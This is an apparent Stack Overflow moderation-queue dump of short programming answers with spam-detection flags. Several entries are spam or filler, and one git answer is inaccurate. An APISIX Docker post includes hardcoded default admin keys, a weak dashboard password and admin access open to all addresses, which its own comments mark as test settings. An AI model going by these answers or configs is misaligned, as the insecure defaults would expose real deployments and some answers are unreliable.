Score: 3.5
Natty:
Report link

Try below things

1-canny edge detection method

2-template matching

3-edge detection

4-Hough circle transform

These must work, do let me know if you have any questions, cheers!

Reasons:
  • Blacklisted phrase (1): cheers
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Basavaraj Kalburgi

79499880

Date: 2025-03-11 07:01:13
Score: 6 🚩
Natty: 5
Report link

@Imran, How to replicate the same postman process in python. i am not able to get proper documentation on using confidentialclient library from msal.

Reasons:
  • Blacklisted phrase (1): i am not able to
  • Low length (1):
  • No code block (0.5):
  • User mentioned (1): @Imran
  • Single line (0.5):
  • Looks like a comment (1):
  • Low reputation (1):
Posted by: arunava manna

79499870

Date: 2025-03-11 06:55:12
Score: 1
Natty:
Report link

Use below commands in VS Code (PowerShell)

Remove-Item -Recurse -Force node_modules
Remove-Item -Force package-lock.json
npm install --legacy-peer-deps

NOTE: This will reset any issue and redownload the required items again.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Muhammad Saqib Javed

79499863

Date: 2025-03-11 06:53:12
Score: 3
Natty:
Report link

The issue could also be a setting in VScode that selects language-specific themes. You can change that in your settings.json

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Vinayak Sharma

79499861

Date: 2025-03-11 06:53:12
Score: 0.5
Natty:
Report link

Why the Error Occurs?

The issue occurs because the original approach uses:

None
if df_obsFinding["Rejection_Comments"] is None
else df_obsFinding["Rejection_Comments"].apply(len) != 0

However, the condition df_obsFinding['Rejection_Comments'] is None does not check each row individually. Instead, it evaluates wherther the entier column object is None, which will never be the case. As a result, the code proceeds to the else part and calls .apply(len). This iterates over the entier column, and when it encounters None values, it results in:

TypeError: object of type 'NoneType' has no len()

Correct Approach

To fix this, we must check each element in the column individually using apply(lambda x: isinstance(x, list) and len(x) != 0

Solution
df_ofComment = df_obsFinding.loc[
        (
            df_obsFinding["Comments"].apply(
                lambda x: isinstance(x, list) and len(x) != 0
            )
        )
        | (
            df_obsFinding["Rejection_Comments"].apply(
                lambda x: isinstance(x, list) and len(x) != 0
            )
        )
    ]
How this works?

isinstance(x, list) ensures x is a list before calling len(x). This is avoiding the errors from None values.
len(x) != 0 filters out empty lists.
✅ The logical OR (|) selects rows where either Comments or Rejection_Comments contain a non-empty list.


Handling Other Data Types (e.g., Strings)

If Comments or Rejection_Comments might contain strings, we should also check for str:

df_ofComment = df_obsFinding.loc[
        (
            df_obsFinding["Comments"].apply(
                lambda x: isinstance(x, (list, str)) and len(x) != 0
            )
        )
        | (
            df_obsFinding["Rejection_Comments"].apply(
                lambda x: isinstance(x, (list, str)) and len(x) != 0
            )
        )
    ]

Note: This ensures the solution works even if Comments or Rejection_Comments contain strings instead of lists.

Example

Input DataFrame


import pandas as pd

df_obsFinding = pd.DataFrame(
        data={
            "Post_Name": [
                "First Post",
                "Second Post",
                "Third Post",
                "Fourth Post",
                "Fifth Post",
            ],
            "Comments": [[], [1234], [1234], [], []],
            "Rejection_Comments": [None, [], [657], "Needs Review", [987]],
        }
    )

Data Preview

Post_Name Comments Rejection_Comments
First Post [] None
Second Post [1234] []
Third Post [1234] [657]
Fourth Post [] Needs Review
Fifth Post [] [987]

Filtered DataFrame (df_ofComment)

Post_Name Comments Rejection_Comments
Second Post [1234] []
Third Post [1234] [657]
Fourth Post [] Needs Review
Fifth Post [] [987]
Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Starts with a question (0.5): Why the
  • Low reputation (1):
Posted by: Shevan Fernando

79499855

Date: 2025-03-11 06:50:11
Score: 2
Natty:
Report link

I'm having the same issue. I have set up Apache APISIX and its dashboard using Docker on Windows . The dashboard loads, but when I try to log in, it redirects back to the login page without any error message.

Login Error Screen Shot

docker-compose.yml

services:
  apisix:
    image: apache/apisix:${APISIX_IMAGE_TAG:-3.11.0-debian}
    restart: always
    volumes:
      - ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro
    depends_on:
      - etcd
    ##network_mode: host
    ports:
      - "9180:9180/tcp"
      - "9080:9080/tcp"
      - "9091:9091/tcp"
      - "9443:9443/tcp"
      - "9092:9092/tcp"
    networks:
      apisix:
 
  etcd:
    image: bitnami/etcd:3.5.11
    restart: always
    volumes:
      - etcd_data:/bitnami/etcd
    environment:
      ETCD_ENABLE_V2: "true"
      ALLOW_NONE_AUTHENTICATION: "yes"
      ETCD_ADVERTISE_CLIENT_URLS: "http://etcd:2379"
      ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
    ports:
      - "2379:2379/tcp"
    networks:
      apisix:

  web1:
    image: nginx:1.19.0-alpine
    restart: always
    volumes:
      - ./upstream/web1.conf:/etc/nginx/nginx.conf
    ports:
      - "9081:80/tcp"
    environment:
      - NGINX_PORT=80
    networks:
      apisix:

  web2:
    image: nginx:1.19.0-alpine
    restart: always
    volumes:
      - ./upstream/web2.conf:/etc/nginx/nginx.conf
    ports:
      - "9082:80/tcp"
    environment:
      - NGINX_PORT=80
    networks:
      apisix:

  prometheus:
    image: prom/prometheus:v2.25.0
    restart: always
    volumes:
      - ./prometheus_conf/prometheus.yml:/etc/prometheus/prometheus.yml
    ports:
      - "9090:9090"
    networks:
      apisix:

  grafana:
    image: grafana/grafana:7.3.7
    restart: always
    ports:
      - "3000:3000"
    volumes:
      - "./grafana_conf/provisioning:/etc/grafana/provisioning"
      - "./grafana_conf/dashboards:/var/lib/grafana/dashboards"
      - "./grafana_conf/config/grafana.ini:/etc/grafana/grafana.ini"
    networks:
      apisix:

  

  dashboard:
    image: apache/apisix-dashboard:latest
    restart: always
    depends_on:
      - apisix
      - etcd
    volumes:
      - ./dashboard_conf/conf.yaml:/usr/local/apisix-dashboard/conf/conf.yaml:ro
    ports:
      - "9000:9000"
      - "9001:9001"
    networks:
      apisix:


networks:
  apisix:
    driver: bridge

volumes:
  etcd_data:
    driver: local

apisix_conf/config.yaml

apisix:
  node_listen: 9080              # APISIX listening port
  enable_ipv6: false

  enable_control: true
  control:
    ip: "0.0.0.0"
    port: 9092

deployment:
  admin:
    allow_admin:               # https://nginx.org/en/docs/http/ngx_http_access_module.html#allow
      - 0.0.0.0/0              # We need to restrict ip access rules for security. 0.0.0.0/0 is for test.

    admin_key:
      - name: "admin"
        key: edd1c9f034335f136f87ad84b625c8f1
        role: admin                 # admin: manage all configuration data

      - name: "viewer"
        key: 4054f7cf07e344346cd3f287985e76a2
        role: viewer

  etcd:
    host:                           # it's possible to define multiple etcd hosts addresses of the same etcd cluster.
      - "http://etcd:2379"          # multiple etcd address
    prefix: "/apisix"               # apisix configurations prefix
    timeout: 30                     # 30 seconds

plugin_attr:
  prometheus:
    export_addr:
      ip: "0.0.0.0"
      port: 9091

dashboard_conf/conf.yaml



conf:
  listen:
    host: 0.0.0.0
    port: 9000
  etcd:
    endpoints:
      - http://etcd:2379
  log:
    error_log:
      level: debug   # Change to "debug" to see more details
      file_path: /usr/local/apisix-dashboard/logs/error.log
    access_log:
      file_path: /usr/local/apisix-dashboard/logs/access.log


  authentication:
    secret: secret_123              # secret for jwt token generation.
                        # NOTE: Highly recommended to modify this value to protect `manager api`.
                        # if it's default value, when `manager api` start, it will generate a random string to replace it.
    expire_time: 3600     # jwt token expire time, in second
    users:
      - username: admin   # username and password for login `manager api`
        password: admin123
Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Me too answer (2.5): I'm having the same issue
  • Low reputation (1):
Posted by: MUDASAR ROUF

79499852

Date: 2025-03-11 06:48:11
Score: 0.5
Natty:
Report link

In Windows open task manager then end the tasks for adb.exe and then restart your pc then reopen your android studio. That worked for me

Reasons:
  • Whitelisted phrase (-1): worked for me
  • Low length (1):
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: aida

79499847

Date: 2025-03-11 06:47:11
Score: 1.5
Natty:
Report link

my solution was


if (!app.Environment.IsProduction())
{
    app.Use((context, next) =>
    {
        context.Request.Scheme = "https";
        return next(context);
    });
}
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Ward

79499846

Date: 2025-03-11 06:47:11
Score: 0.5
Natty:
Report link

In Windows open task manager then end the tasks for adb.exe. i restarted my pc and That worked for me

Reasons:
  • Whitelisted phrase (-1): worked for me
  • Low length (1):
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: aida

79499844

Date: 2025-03-11 06:46:11
Score: 3.5
Natty:
Report link

Simply restarting the laptop helped me. Not sure if there was some cache issue.

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Kramika

79499838

Date: 2025-03-11 06:37:09
Score: 5
Natty:
Report link

Following your feedback, I looked at the ConsumeKafkaRecord and I think that yes you're right I could apply the following Flow: ConsumeKafkaRecord(ScriptedReader, CSVWriter) => MergeContent => UpdateAttributes => PutFile.

1/ In the ConsumeKafkaRecord, I'd like to use a ScriptedReader to convert and modify the json message and a CSVWriter to write the new message.

2/ MergeContent to merge the stream files.

3/ UpdateAttributes to change the file name.

4/ PutFile to write the file

The only problem is the header I want to write to the CSV file, as I only want one header.

Do you agree with this flow?

Thanks a lot.

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • RegEx Blacklisted phrase (1): I want
  • Long answer (-0.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Patrick Baie

79499833

Date: 2025-03-11 06:36:08
Score: 1
Natty:
Report link

To crawl a face image using Google Image Search engine, follow these steps:

1. Use Reverse Image Search

2. Use Google Lens

3. Automate with Python (For Crawling at Scale)

Crawling face images without consent may violate privacy laws. Always follow ethical and legal guidelines.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Akhil Sharma

79499825

Date: 2025-03-11 06:32:07
Score: 1.5
Natty:
Report link

There 3 types of repos. you can delete like below.

local repo -> git branch -d branch_name

origin repo-> git branch --delete --remotes origin/branch_name

upstream repo-> git branch --delete --remotes upstream/branch_name

source : https://www.theserverside.com/blog/Coffee-Talk-Java-News-Stories-and-Opinions/delete-remote-Git-branches-github-gitlab-bitbucket-tracking-local

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: uma mahesh

79499816

Date: 2025-03-11 06:28:06
Score: 1.5
Natty:
Report link

I have not looked into this specifically from the APS side of things, but The Building Coder shares quite a few posts on setting up section boxes:

Reasons:
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • High reputation (-1):
Posted by: Jeremy Tammik

79499807

Date: 2025-03-11 06:23:05
Score: 3.5
Natty:
Report link

Check the newest suggested standards here: https://html.spec.whatwg.org/multipage/rendering.html#phrasing-content-3

Sorry, I can't find the about:blank sniffing technique that was referred to by ruakh

Reasons:
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Smokin Moe

79499803

Date: 2025-03-11 06:21:05
Score: 1.5
Natty:
Report link
@Service("customuserdetails")
public class CustomUserDetails implements UserDetailsService {
    @Autowired
    private UserRepo userrepo;
 
    @Override
    public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {   
        Supplier<UsernameNotFoundException> s= () -> new UsernameNotFoundException("Error finding the user");
        
        User user=userrepo.findByUsername(username).orElseThrow(s);
        return user;
    }}

This is the implementation which is working. I had to change my security beans to @configuration, and I added @repository to my repo interfaces. I also ended up changing my User class to implement UserDetails.

Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • User mentioned (1): @configuration
  • User mentioned (0): @repository
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Fitz chivalry farseer

79499782

Date: 2025-03-11 06:10:02
Score: 4
Natty:
Report link

Here is a demo given by react flow on how to download a diagram as image https://reactflow.dev/examples/misc/download-image

Reasons:
  • Probably link only (1):
  • Low length (1.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Surjendu

79499781

Date: 2025-03-11 06:10:02
Score: 2
Natty:
Report link

We and our 94 partners store and/or access information on a device, such as unique IDs in cookies to process personal data. You may find out more about the purposes for which we and our partners use cookies or exercise your preferences by clicking the ‘Cookie Settings’ button below. You can revisit your consent choices or withdraw consent at any time by clicking the link to your cookie settings in our Cookie Policy. These choices will be signaled to our partners and will not affect browsing data.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Lynette Sewell

79499776

Date: 2025-03-11 06:06:00
Score: 4
Natty: 4.5
Report link

I too faced a similar issue when using parallel stream API.

Below is the scenario; I have a list of transaction objects in reader part of a spring batch , when this list if passed to processor, used parallel stream to process the transaction object in a multi threaded mode. but unfortunately, the parallel stream is not consistent. it is skipping the records at times.

Any fix added in java.util.stream API?

Reasons:
  • No code block (0.5):
  • Ends in question mark (2):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Ram

79499769

Date: 2025-03-11 05:58:59
Score: 1.5
Natty:
Report link

Use a set instead of an array for storing the visited nodes. Sets have O(1) lookup time, resulting in a total time complexity of O(n) for your algorithm, which is otherwise correct.

As for the statement that "going from node a to b to a isn't a cycle",

This is true if you consider simple graphs only and have to use the same edge twice, in multigraphs you may have more than one edge connecting a and b in which case a-b-a over distinct edges counts as a cycle.

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: GreenMamba

79499762

Date: 2025-03-11 05:55:58
Score: 1.5
Natty:
Report link

Might be unrelated but I just had an experience with this, and the problem I had was the directory it was trying to build in which at that time was the Desktop, I've changed into a subfolder and it worked without any other steps required.

Reasons:
  • Whitelisted phrase (-1): it worked
  • Low length (0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Vlad Pop

79499756

Date: 2025-03-11 05:52:57
Score: 1
Natty:
Report link

Use importlib.util for a clean check Let me know if this code works for you.

import importlib  
if importlib.util.find_spec("library_name") is not None:  
    print("Installed")
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Vikas Anand

79499752

Date: 2025-03-11 05:50:57
Score: 3.5
Natty:
Report link

Body must be at least 30 characters; you enteredBody must be at least 30 characters; you enteredBody must be at least 30 characters; you entered

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: ana

79499746

Date: 2025-03-11 05:48:57
Score: 2
Natty:
Report link

enter image description hereHere it is, tune.

It also has other siblings such as tune_outline, tune_rounded, tune_sharp.

Reasons:
  • Probably link only (1):
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Covenant T. Junior

79499744

Date: 2025-03-11 05:47:56
Score: 3
Natty:
Report link

You can try again But now upgrade the ext.kotlin_version in this code and give me feedback if it is Run.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Somya Swaroop Naiwal

79499743

Date: 2025-03-11 05:47:56
Score: 1
Natty:
Report link
  1. Remove flexGrow: 1 from contentContainerStyle
  2. Setstyle={{flex:1}} on flatlist
  3. Ensure all parent view have flex:1
  4. Avoid Wrapping Flatlist inside another Scrollview
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Mahammad Momin

79499724

Date: 2025-03-11 05:30:53
Score: 3
Natty:
Report link

I found that the methods mentioned in other answers are either unavailable on the online website or too complicated to operate. Let me recommend the latest available method I found. It supports removing line numbers and controlling fonts.

It can solve the problem of code display effect in Word.

https://www.codeinword.com/

example:

enter image description here

enter image description here

enter image description here

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: 李亚楠

79499720

Date: 2025-03-11 05:29:53
Score: 1.5
Natty:
Report link

The 80 column IBM punch cards can contain binary data with each column representing a full binary byte. I used this all the time to output binary data. A compiler or assembler can produce and Object deck of cards, which is fed into a linker for execution. The obj was binary information. The object deck had different record types, the most typical format was the TXT record (https://www.ibm.com/docs/en/hla-and-tf/1.6?topic=output-txt-record-format)

there also was a REP type which allowed you to patch an object deck on the fly. I did this on an IBM 360 & 370 machines

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: roy Yung

79499717

Date: 2025-03-11 05:28:53
Score: 2.5
Natty:
Report link
RCT_NEW_ARCH_ENABLED=0 bundle exec pod install
Reasons:
  • Low length (1.5):
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: ZONGLUN YUE

79499716

Date: 2025-03-11 05:27:53
Score: 0.5
Natty:
Report link

Use the reflect package to reduce this type of duplication.

// GetJsons decodes the JSON responses to the slice pointed
// to by target. The target argument must be a pointer to 
// a slice of cheese.
func GetJsons(urls []string, target any) []error {
    errors := make([]error, len(urls))
    v := reflect.ValueOf(target).Elem()
    v.Set(reflect.MakeSlice(v.Type(), len(urls), len(urls)))
    var wg sync.WaitGroup
    wg.Add(len(urls))
    for i, url := range urls {
        go func() {
            defer wg.Done()
            errors[i] = GetJson(url, v.Index(i).Addr().Interface())
        }()
    }
    return errors
}

Replace calls to GetJsonAs*Multiple with calls to GetJsons:

var hashmaps []Map
errors := GetJsons(urls, &hashmaps)
Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Cathy Wood

79499713

Date: 2025-03-11 05:22:52
Score: 1
Natty:
Report link

I spent several days researching and trying to determine why it was serving what appeared to be a cached instance of this file. Since I was at the end of my rope, I decided why not increment the version of the library and see what happens.

I incremented the package version from 0.0.1-alpha.0 to 0.0.1-alpha.1.

I then re-packaged the library and updated the dependency link in the workspace to reference the new version of the identity.worker tar ball.

Spooled up karma jasmine and executed some tests. to my surprise the karma dev server served the updated file.

The take away from this is in order for karma dev and maybe the angular dev environment to serve an updated file from a node modules location, the package version must be incremented.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Kenneth Carter

79499705

Date: 2025-03-11 05:12:50
Score: 0.5
Natty:
Report link

Many of companies policies have restricted use of NVM on windows due to several reasons. In such cases there is another way we can manage multiple versions on windows.

First uninstall all node versions from your system control panel. Then you need to either download the binary / archived versions from the node page.

Download from here https://nodejs.org/en/download

If you don't found your exact version from above page then please check from node dist - https://nodejs.org/dist/

Then unzip the downloaded file, now add the location of unzip folder to path variable inside System environment variable.

NOTE : You need to close and restart all terminals to affect the changes.

If you need to change the version just update path variable to point point out another version location inside System environment variable and ready to use.

enter image description here

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Sumit Rane

79499702

Date: 2025-03-11 05:09:50
Score: 2.5
Natty:
Report link

I have this problem when I use different wifi, I can't make calls to each other, but when I connect to the same network, I can still make calls to each other. I don't know what's wrong, I hope everyone can help me. This is my source code.

Code Fe:
https://github.com/qminhminh/test_call_video_webrtc
BE:
https://github.com/qminhminh/call_wbrtc_server

ERROR LOG
👍
016:064][60451] (stun_port.cc:460): Port[4918800:0:1:0:host:Net[en1:2405:4803:b48b❌x❌x:x/64:Wifi:id=2]]: StunPort: stun host lookup received error 8
[016:064][60451] (basic_port_allocator.cc:1118): Port[4918800:0:1:0:host:Net[en1:2405:4803:b48b❌x❌x:x/64:Wifi:id=2]]: Port completed gathering candidates.
[016:064][60451] (stun_port.cc:460): Port[4918e00:0:1:0:host:Net[lo0:0:0:0❌x❌x:x/128:Loopback:id=4]]: StunPort: stun host lookup received error 8
[016:064][60451] (basic_port_allocator.cc:1118): Port[4918e00:0:1:0:host:Net[lo0:0:0:0❌x❌x:x/128:Loopback:id=4]]: Port completed gathering candidates.
[016:064][60451] (stun_port.cc:607): UDP send of 20 bytes to host demo.espitek.com:3478 (14.224.216.x:3478) failed with error 0 : [0x00000031] Can't assign requested address
[016:064][60451] (stun_port.cc:460): Port[49a2600:1:1:0:host:Net[en1:2405:4803:b48b❌x❌x:x/64:Wifi:id=2]]: StunPort: stun host lookup received error 8
[016:064][60451] (basic_port_allocator.cc:1118): Port[49a2600:1:1:0:host:Net[en1:2405:4803:b48b❌x❌x:x/64:Wifi:id=2]]: Port completed gathering candidates.
[016:064][60451] (stun_port.cc:607): UDP send of 20 bytes to host demo.espitek.com:3478 (14.224.216.x:3478) failed with error 0 : [0x00000031] Can't assign requested address
[016:064][60451] (stun_port.cc:460): Port[49a2c00:1:1:0:host:Net[lo0:0:0:0❌x❌x:x/128:Loopback:id=4]]: StunPort: stun host lookup received error 8

016:128][60451] (turn_port.cc:877): Port[601ea00:0:1:0:relay:Net[lo0:127.0.0.x/8:Loopback:id=3]]: Failed to send TURN message, error: 49
[016:128][60451] (turn_port.cc:1348): Port[601ea00:0:1:0:relay:Net[lo0:127.0.0.x/8:Loopback:id=3]]: TURN allocate request sent, id=484861424a35586a6d786465
[016:128][60451] (turn_port.cc:396): Port[6134000:1:1:0:relay:Net[en1:192.168.1.x/24:Wifi:id=1]]: Trying to connect to TURN server via udp @ demo.espitek.com:3478 (14.224.216.x:3478)

Reasons:
  • Blacklisted phrase (1): help me
  • Blacklisted phrase (1): I have this problem
  • Long answer (-1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: quang minh

79499698

Date: 2025-03-11 05:06:49
Score: 3
Natty:
Report link

I just face the same problem. There's probably not id but instance. You'll may resolve relate form's model to database table's Model

forms.py

from .models import DbTable # DbTable is your database table

def StudentRequestForm(forms.ModelForm):
/* your many forms */
class Meta:
    model = DbTable
    fields = '__all__' 
Reasons:
  • Has code block (-0.5):
  • Me too answer (2.5): face the same problem
  • Low reputation (1):
Posted by: BRSO

79499695

Date: 2025-03-11 05:04:49
Score: 0.5
Natty:
Report link

To connect Godaddy domain with Firebase Hosting with www redirect:

(Process to point www.yourdomain.com -> yourdomain.com)

  1. Goto Godaddy portal -> Forwarding -> Subdomains -> Add Forwarding -> Enter subdomain as www -> Add destination url as yourdomain.com

  2. Step 1 will add two A records

  3. Goto Firebase hosting -> Connect Domain -> Enter domain yourdomain.com -> Connect

  4. Add the A and TXT records provided by Firebase in the DNS records on Godaddy portal.

This steps worked for me & should solve the issue.

Reasons:
  • Whitelisted phrase (-1): worked for me
  • No code block (0.5):
  • Low reputation (1):
Posted by: Akash Jadhav

79499694

Date: 2025-03-11 05:03:49
Score: 2
Natty:
Report link

Can you try if below code chunk works?

WHERE sets.importDate >= :beginDate AND (sets.importDate <= :endDate OR :endDate IS NULL)
Reasons:
  • Whitelisted phrase (-2): Can you try
  • Low length (1):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Starts with a question (0.5): Can you
  • Low reputation (1):
Posted by: Amit K.

79499684

Date: 2025-03-11 04:54:47
Score: 5.5
Natty:
Report link

Thank you for outlining the issue you’ve been experiencing with the sheet metal bends and the beveling on the edge of the bend line. I understand that this slight bevel is causing a double cut during the laser cutting process, which can be quite challenging.

Regarding your question about using the InventorServer API, we will study the feasibility of extracting just the top or bottom face of the flat pattern using the API in combination with Forge. To better understand your specific situation and provide the most accurate solution, we would appreciate it if you could provide more details, such as:

  1. The specific version of Inventor you are using.

  2. Any sample data set or files where the beveling issue is occurring (if non-confidential and permissible).

  3. Any additional context on how you are currently exporting the flat pattern via DataIo.

  4. A video demonstrating the issue would be particularly helpful.

Once we have more information, we can explore possible solutions and API functionalities to address the problem.

Looking forward to your response.

Thanks and regards,

Chandra shekar G

Developer Advocate

Autodesk Platform Services (formerly Forge)

Stay updated with Autodesk Platform Services!

DevCon 2025 goes to Amsterdam! Join us - https://autode.sk/4eWNw66

Follow us on LinkedIn | YouTube
Subscribe to our Newsletter | Explore Tutorials & Code Samples
Join our Upcoming Events

Reasons:
  • Blacklisted phrase (0.5): Thank you
  • Blacklisted phrase (0.5): Thanks
  • Blacklisted phrase (1): regards
  • Blacklisted phrase (1.5): Looking forward to your
  • Blacklisted phrase (1.5): would appreciate
  • Long answer (-1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Chandra6ma

79499662

Date: 2025-03-11 04:33:43
Score: 1.5
Natty:
Report link

A 301 redirect means that the move is permanent.

  1. The browser caches the new URL and does not request the old one again.

  2. Search engines update their index, replacing the old URL with the new one.

  3. The new URL inherits the SEO ranking of the old URL.

A 302 redirect means that the move is temporary.

  1. The browser does not cache the new URL.

  2. Search engines do not update their index; they continue using the old URL.

  3. Each time the user requests the old URL, they get redirected again.

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Vaibhav Singh

79499653

Date: 2025-03-11 04:23:41
Score: 3.5
Natty:
Report link

Not enough rep to post a comment so I'm writing an answer.

Sounds like you could have an SSH configuration mismatch between your /etc/ssh/sshd_config file on your Pi, and your /etc/ssh/ssh_config file on your Mac.

Can you post the uncommented text from your Pi's sshd_config file, your Mac's ssh_config file, and the ssh_config file from another computer that can successfully connect?

That should give us some starting information to debug what might be going on and I can edit my answer as we go.

Reasons:
  • RegEx Blacklisted phrase (2.5): Can you post
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: warp9000

79499650

Date: 2025-03-11 04:21:40
Score: 0.5
Natty:
Report link

If there is an issue when the form is rendering improperly due to css, then make sure that /static/ is same with STATIC_URL setting


css = {'all': ('/static/admin/css/widgets.css',), }

Reference https://www.dangtrinh.com/2014/01/django-use-django-admin-apps.html

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: phuongtm